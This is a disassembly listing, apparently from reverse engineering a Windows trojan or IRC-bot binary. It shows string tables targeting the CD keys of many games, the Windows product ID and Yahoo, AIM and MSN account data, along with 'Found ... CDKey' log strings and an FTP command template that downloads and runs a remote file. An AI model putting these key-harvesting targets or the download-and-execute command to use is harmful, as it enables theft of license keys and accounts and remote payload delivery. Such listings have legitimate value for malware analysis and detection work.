aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447790o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 4
		dd 0
dword_4488FC	dd 3A6D6961h, 732520h, 0dword_448908	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A3C	dd 3A6E736Dh, 732520h, 0dword_448A48	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B74:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B7F:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B8B:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B97:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BA8:				; CODE XREF: ___:00448BADj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BA8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_448CA0	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F40	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F44	dd 0							; sub_4246D0+11o ...
dword_448F48	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F50	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F74	dd 41h dup(0)						; ___:0040D460o ...
dword_449078	dd 0							; ___:loc_40D4B4r ...
dword_44907C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449080	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449084	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490CC	dd 0							; sub_410030+47Dr
dword_4490D0	dd 0							; sub_410030+515r ...
dword_4490D4	dd 0							; sub_410030+655r ...
dword_4490D8	dd 0							; sub_410030+B79r ...
dword_4490DC	dd 0							; sub_410030+74Br
dword_4490E0	dd 0							; sub_410030+828r
dword_4490E4	dd 0							; sub_410030+77Cr
dword_4490E8	dd 0							; sub_410030+4DDr ...
dword_4490EC	dd 0							; sub_410030+311r
dword_4490F0	dd 0							; sub_410030+34Dr ...
dword_4490F4	dd 0							; sub_410030+33Dr
dword_4490F8	dd 0							; sub_410030+3D2r
dword_4490FC	dd 0							; sub_410030+E93r
dword_449100	dd 0							; sub_410030+1220r ...
dword_449104	dd 0							; sub_4120B0+4DAr
dword_449108	dd 0							; sub_410030+683r
dword_44910C	dd 0							; sub_410030+6B5r
dword_449110	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449128	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44916A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44916F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449171	db 0			; DATA XREF: sub_40DBF0r
word_449172	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449287	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44928B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449290	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492D9	db 3 dup(0)		; DATA XREF: ___:00408B9Fo
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449322	dw 0			; DATA XREF: ___:00408B76o
					; sub_410030+132o
		dd 6 dup(0)
word_44933C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44936B	db 0			; DATA XREF: ___:00408BC8o
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493B4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493FD	db 3 dup(0)		; DATA XREF: ___:00408B01o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44948F	db 0			; DATA XREF: ___:00408BF1o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449521	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44956A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44965F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449739	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449814	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449844	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_4498A6	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498EF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44991F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449968	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A14	dd 0				dd 11h dup(0)
		db 0
dword_449A5D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DC8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC6E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC72	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACE6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD80	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF9B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B19B	dd 0							; sub_4269A0+4Fw ...
dword_44B19F	dd 0							; ___:0042419Dw ...
dword_44B1A3	dd 0							; sub_4269A0+5Dr ...
dword_44B1A7	dd 0							; sub_4269A0+8Cr ...
dword_44B1AB	dd 0							; sub_4269A0+9Dr
dword_44B1AF	dd 0							; ___:004241D1r ...
byte_44B1B3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
dword_44B1B4	dd 2824h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446F04o
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 46C9h dup(0)
dword_4D1010	dd 0D0Fh dup(0)			db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44531Co
		dd 0ED2h dup(0)
		db 3 dup(0)
dword_4D7F9B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8085	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D809C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D809D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D80A9	dd 0							; sub_404C70+2Aw
byte_4D80AD	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80D7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D819B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D819F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D835F	db 0			; DATA XREF: ___:0040828Do
					; ___:0040871Eo ...
		dd 8 dup(0)
dword_4D8380	dd 0				dd 51h dup(0)
		db 0
byte_4D84C9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8745	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02B5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D9F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E25	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86FF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E54	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E55	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E6A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408732o ...
		dd 0Fh dup(0)
		db 0
byte_4E8EA9	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8EAB	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
dword_4E8EAC	dd 6D2Ah dup(0)
dword_504354	dd 12BAh dup(0)	dword_508E3C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE3C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DB08	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB18	dd 0							; ___:0041FC3Dw ...
dword_50DB1C	dd 0							; sub_41FB90+2Aw ...
dword_50DB20	dd 0		dword_50DB24	dd 0							; ___:0041FC5Bw
dword_50DB28	dd 0		dword_50DB2C	dd 0							; ___:0041FC67w ...
dword_50DB30	dd 0							; ___:0041FC6Dw ...
dword_50DB34	dd 0							; ___:00420EA9o
dword_50DB38	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB3C	dd 0							; ___:0041FC81w
dword_50DB40	dd 0							; sub_420630+41w ...
dword_50DB44	dd 0							; sub_420630+7Fr
dword_50DB48	dd 0							; sub_420630+92r ...
dword_50DB4C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB5C	dd 0							; ___:0041C2A5o
dword_50DB60	dd 0							; sub_423820+5r ...
dword_50DB64	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FAA0	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAB8	dd 196h	dup(0)						; sub_423760+6Do
dword_510110	dd 0		word_510114	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510118	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51011C	dd 0				dd 0
byte_510124	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510128	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51012C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510130	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510138	dd 80h dup(0)						; sub_427D50+129o
dword_510338	dd 0		dword_51033C	dd 0				dd 1Dh dup(0)
dword_5103B4	dd 0							; ___:0042C40Dr ...
dword_5103B8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103BC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103C0	dd 0		dword_5103C4	dd 0							; sub_431560r ...
dword_5103C8	dd 0		dword_5103CC	dd 0							; sub_4309A0+111w ...
dword_5103D0	dd 0							; sub_4309A0+F6r ...
dword_5103D4	dd 0							; ___:loc_4316A0r
dword_5103D8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Eh	dup(0)
dword_5108E0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510920	dd 8 dup(0)						; sub_430830+25o ...
dword_510940	dd 8 dup(0)						; sub_431980+25o ...
dword_510960	dd 8 dup(0)						; sub_432850+84o ...
dword_510980	dd 8 dup(0)						; sub_432850+8Bo ...
dword_5109A0	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh
		dd 18Ah	dup(0)
		dd 5 dup(8AA6605h), 5 dup(71D92A02h), 5	dup(31540AF5h)
		dd 5 dup(5D5512EAh), 5 dup(0EA5CC7Bh), 5 dup(108DBD77h)
		dd 5 dup(5794B789h), 5 dup(6B64E8DCh), 5 dup(3D214508h)
		dd 5 dup(33165203h), 5 dup(3FF0D1B3h), 1Eh dup(0)
		dd 108DBD77h, 10h dup(0)
		dd 3FF0D1B3h, 59h dup(0)
; ---------------------------------------------------------------------------
		jmp	far ptr	loc_5D5512
; ---------------------------------------------------------------------------
		align 4
		dd 1Bh dup(0)
		dd 3D214508h, 14h dup(0)
		dd 71D92A02h, 52h dup(0)
		dd 8AA6605h, 1Bh dup(0)
		dd 33165203h, 0Bh dup(0)
		dd 5794B789h, 0Ch dup(0)
		dd 0EA5CC7Bh, 2Bh dup(0)
		dd 6B64E8DCh, 11h dup(0)
		dd 31540AF5h, 0Ah dup(0)
		dd 28A0000h, 28B0000h, 28C0000h
dword_511718	dd 28C1525h			dd 28C16ADh
dword_511720	dd 28C19E1h			dd 28C1CFDh, 28D0000h
dword_51172C	dd 28E0000h			dd 28F0000h, 28F03C2h, 28F0839h, 28F0C10h
dword_511740	dd 2900000h						; sub_40E870+25Ar ...
dword_511744	dd 29004E9h	dword_511748	dd 29006EAh			dd 2900884h, 2900C7Fh
dword_511754	dd 2910000h						; sub_40EE40+15Er ...
		dd 29102E5h
dword_51175C	dd 2920000h						; sub_40E870+22Cr
		dd 2920C2Ch
dword_511764	dd 2930000h						; sub_4208E0+285r ...
		dd 2940000h
dword_51176C	dd 29411DEh						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2700000h						; sub_420630+FEr
		dd 2710000h, 2720000h, 27206DBh, 272089Eh, 2720C33h, 2720DABh
		dd 2730000h, 27306DDh, 2730AB3h, 2730D9Dh, 2740000h, 2740586h
		dd 27405CEh, 27408EEh, 2740C56h, 2750000h, 2750377h, 27504DAh
		dd 27509DBh, 2760000h, 27605D3h, 2760686h, 276095Eh, 2760AD7h
		dd 2760C8Eh, 2770000h, 277025Eh, 2770421h, 277059Fh, 277075Fh
		dd 277081Ah, 2780000h
dword_511864	dd 2780835h	dword_511868	dd 2790000h	dword_51186C	dd 279018Fh			dd 7C901005h, 7C9010EDh, 279032Bh, 279036Bh, 27903B1h
		dd 279047Fh, 27A0000h, 27A03D7h, 27A0754h, 27B0000h, 27C0000h
		dd 27C093Ah, 27D0000h, 27E0000h, 27E08BCh
dword_5118AC	dd 27E0C04h						; sub_410030+47r ...
		dd 27E0C56h, 27F0000h, 27F0367h, 2800000h, 2801021h, 2810000h
		dd 2820000h
dword_5118CC	dd 282162Ch			dd 28218B0h, 2821BF6h
dword_5118D8	dd 2830000h						; sub_41B5B0+2Fr ...
		dd 2830135h
dword_5118E0	dd 2830906h						; sub_4204D0+2Er ...
		dd 2830C58h, 2840000h, 2840B0Bh
dword_5118F0	dd 2850000h			dd 285027Eh, 2860000h, 2870000h, 287135Dh, 2880000h, 288018Ah
		dd 28807AFh, 2880C41h
		dd 2890000h
dword_511918	dd 2890412h						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; ш
		db 0F1h	; Я
		db 0C1h	; а
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2890CC5h
off_511C00	dd offset sub_5F74D1	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
